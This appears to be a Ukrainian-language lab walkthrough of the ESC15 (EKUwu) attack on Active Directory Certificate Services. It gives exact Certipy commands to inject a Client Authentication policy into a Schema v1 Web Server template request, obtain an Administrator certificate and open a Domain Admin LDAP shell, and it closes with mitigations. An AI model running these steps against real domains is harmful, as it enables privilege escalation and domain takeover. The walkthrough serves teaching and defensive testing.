Вразливість ESC15 (відома як EKUwu) впливає на служби сертифікації Active Directory (AD CS), дозволяючи зловмисникам інджектувати несанкціоновані EKU (наприклад, Client Authentication) у шаблони Schema Version 1. Цей недолік уможливлює підвищення привілеїв, обхід обмежень безпеки та надання несанкціонованого доступу. Організації, що використовують AD CS, повинні діяти швидко, щоб мінімізувати ризики цієї критичної проблеми безпеки.
Зміст
- Огляд атаки ESC15
- Що таке Schema Version 1?
- Попередні умови
- Налаштування лабораторії
- Збір інформації та експлуатація
- Постексплуатація
- Заходи захисту
Огляд атаки ESC15
ESC15 (EKUwu) — це атака рівня постексплуатації на AD CS, що використовує логічну помилку в шаблонах сертифікатів Schema v1. Цей недолік виникає через те, що Центр сертифікації (CA) не забезпечує належним чином дотримання обмежень Extended Key Usage (EKU).
Чому це небезпечно?
- AD CS має видавати сертифікати лише з тими EKU, які чітко визначені в шаблоні.
- Проте в шаблонах Schema v1 зловмисники можуть впроваджувати довільні політики застосунків (Application Policies/EKU) під час реєстрації (наприклад, Client Authentication).
- У разі успіху AD видасть повністю довірений сертифікат, що дозволить виконати вхід через Kerberos PKINIT від імені будь-якого користувача, включаючи адміністраторів домену.
Практичний вплив
Навіть у захищених середовищах можуть зберігатися застарілі шаблони v1 (наприклад, Web Server, User), які можна експлуатувати, якщо:
- Зловмисники можуть реєструвати сертифікати (Enroll).
- Шаблони дозволяють вказувати дані в запиті (“Supply in Request”).
- Інджект EKU не заблокована.
Результат: Користувач із низькими привілеями підвищує права до Domain Admin, не торкаючись паролів чи хешів.
Примітка: Багато організацій вважали, що видалення Web Enrollment або вимкнення впорскування SAN достатньо для захисту. EKUwu доводить, що навіть «безпечні» шаблони v1 можуть стати вектором підвищення привілеїв, якщо вони не пройшли аудит.
Що таке Schema Version 1?
Schema Version 1 в AD CS — це застарілий формат шаблонів, який визначає властивості сертифікатів, такі як EKU (Extended Key Usages), для контролю того, які користувачі можуть запитувати конкретні сертифікати.
ESC15 (EKUwu) використовує слабкість Schema Version 1. Вона дозволяє зловмисникам додавати несанкціоновані OID політик застосунків (наприклад, Client Authentication) у запити на сертифікати, минаючи перевірки безпеки. Це дозволяє користувачам із низькими дозволами отримувати сертифікати з вищим рівнем доступу, що призводить до підвищення привілеїв та доступу до критичних систем.
Оскільки Schema Version 1 все ще часто зустрічається в старих середовищах, багато організацій залишаються вразливими до цього експлуату.
Попередні умови
- Windows Server 2019 як Active Directory з підтримкою PKINIT.
- Налаштовані служби сертифікації Active Directory та Центр сертифікації.
- Kali Linux із необхідними інструментами.
- Інструменти: Certipy v2 (з підтримкою ESC15).
Налаштування лабораторії
У цій статті ми розглядаємо сценарій, де AD CS уже запущено і використовуються шаблони на кшталт Web Server. Мова йде про дії після того, як зловмисник уже проник у мережу. Першим кроком є перевірка налаштувань CA та переконання, що умови для ESC15 виконуються.
Перед експлуатацією підтвердьте, що шаблон Web Server увімкнено і ваш користувач (у нашому випадку raj) має права на реєстрацію (Enroll):
На сервері CA відкрийте консоль Certification Authority.
Розгорніть дерево вашого CA → Правою кнопкою миші на Certificate Templates → Manage.

У консолі Certificate Templates:
Знайдіть шаблон Web Server.
Правою кнопкою миші → Properties.

У властивостях Web Server:
Перейдіть на вкладку Security.
Додайте користувача raj (або іншого користувача з низькими правами).
Надайте дозвіл Enroll.
Натисніть Apply → OK.

Цей дозвіл дозволяє користувачеві raj запитувати сертифікати за шаблоном Web Server, що є критично важливим для майбутньої атаки EKUwu.
Збір інформації та експлуатація
Тепер перейдемо до експлуатації, використовуючи патчену гілку Certipy.
Клонування Certipy з підтримкою EKUwu
git clone -b esc15-ekuwu --single-branch https://github.com/dru1d-foofus/Certipy
Ця команда клонує гілку Certipy з підтримкою ESC15 (EKUwu). Ми використовуємо прапорець –single-branch, щоб завантажити лише потрібну гілку, оскільки стандартна версія Certipy не підтримує інджектування EKU, тоді як цей патч від dru1d-foofus робить експлуатацію ESC15 можливою.

Після клонування репозиторію встановіть Certipy локально, щоб активувати функціонал EKU injection.
cd Certipy/
python3 setup.py install

Пошук вразливих шаблонів
certipy find -u 'raj@ignite.local' -p Password@1 -dc-ip 192.168.1.16 -vulnerable -enabled

Це сканування шукає шаблони, які дозволяють реєстрацію, та ідентифікує доступні варіанти Schema v1. Зокрема, перевіряється доступність шаблону Web Server.
Ми перевіримо деталі шаблону: версію схеми, EKU та список осіб, яким дозволено реєстрацію. Це підтвердить можливість використання Web Server для інджектування EKU.

Запит сертифіката з інджектованим EKU (EKUwu)
certipy req -dc-ip 192.168.1.16 -ca ignite-DC1-CA -target-ip 192.168.1.16 -u raj@ignite.local -p 'Password@1' -template WebServer -upn Administrator@ignite.local --application-policies 'Client Authentication'
Ця команда запитує сертифікат для raj, інджектуючи EKU Client Authentication, який зазвичай не дозволений шаблоном Web Server. Це експлуатує недолік ESC15, де AD CS не очищує поля EKU в Schema v1, що призводить до видачі довіреного сертифіката для Kerberos-автентифікації від імені Administrator.

Постексплуатація
Автентифікація за допомогою підробленого сертифіката
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.16 -ldap-shell
Ця команда використовує отриманий сертифікат (administrator.pfx) для автентифікації як Administrator, що дає доступ до LDAP shell з правами Domain Admin.

Заходи захисту
- Видаліть застарілі шаблони Schema v1, щоб вони не могли бути використані.
- Переведіть старі шаблони на новіший формат Schema v2.
- Переконайтеся, що налаштування CA суворо перевіряють EKU.
- Регулярно перевіряйте видані сертифікати на наявність нетипових EKU.
- Встановіть патчі для усунення інджекта EKU (, листопад 2024).